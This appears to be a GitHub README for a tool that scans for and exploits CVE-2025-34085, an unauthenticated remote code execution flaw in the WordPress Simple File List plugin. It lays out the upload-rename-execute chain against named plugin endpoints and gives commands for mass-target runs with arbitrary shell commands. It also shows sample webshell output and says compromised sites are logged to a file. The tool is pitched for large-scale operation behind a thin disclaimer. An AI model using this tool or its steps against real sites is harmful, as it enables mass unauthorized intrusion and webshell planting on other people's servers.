yukinime/cve-2025-34085Automated scanner and exploit for CVE-2025-34085, an unauthenticated RCE in the WordPress Simple File List plugin. Supports multi-target scanning, webshell upload, and remote command execution.
Automated tool to detect and exploit unauthenticated Remote Code Execution (RCE) on the WordPress Simple File List plugin, specifically those vulnerable to CVE-2025-34085.
Equipped with an automatic target cleaning system and multithread support for efficient large-scale operation.
Upload File Without Authentication
/wp-content/plugins/simple-file-list/ee-upload-engine.phpRename File to .php
/wp-content/plugins/simple-file-list/ee-file-engine.phpRemote Payload Execution
python3 main.py -u http://target.com --cmd "id"
Place the list of targets in the targets.txt file, one per line:
python3 main.py --cmd "uname -a"
| Argument | Description |
|---|---|
-u | Single target (e.g., http://example.com) |
--cmd | Command to execute on target (default: id) |
--inline | Use inline payload (without ?cmd= parameter) |
[+] http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Successful targets will be automatically saved to vuln.txt.
main.py — Main scripttargets.txt — Target listclean_targets.txt — URL normalization resultsvuln.txt — Log of successfully exploited targetstargets.txtWordPress site administrators are advised to:
This project is for educational and lawful testing purposes only.
Use for illegal purposes is the sole responsibility of the individual.
Cyberlone Indonesia is not responsible for any misuse of this tool.
License: MIT License
Feel free to use, modify, and distribute freely for lawful and responsible purposes.
Cyberlone Indonesia
🛠️ Research & Exploitation Team
🔗 GitHub: https://github.com/yukinime
👨💻 0xgh057r3c0n
🔗 GitHub: github.com/0xgh057r3c0n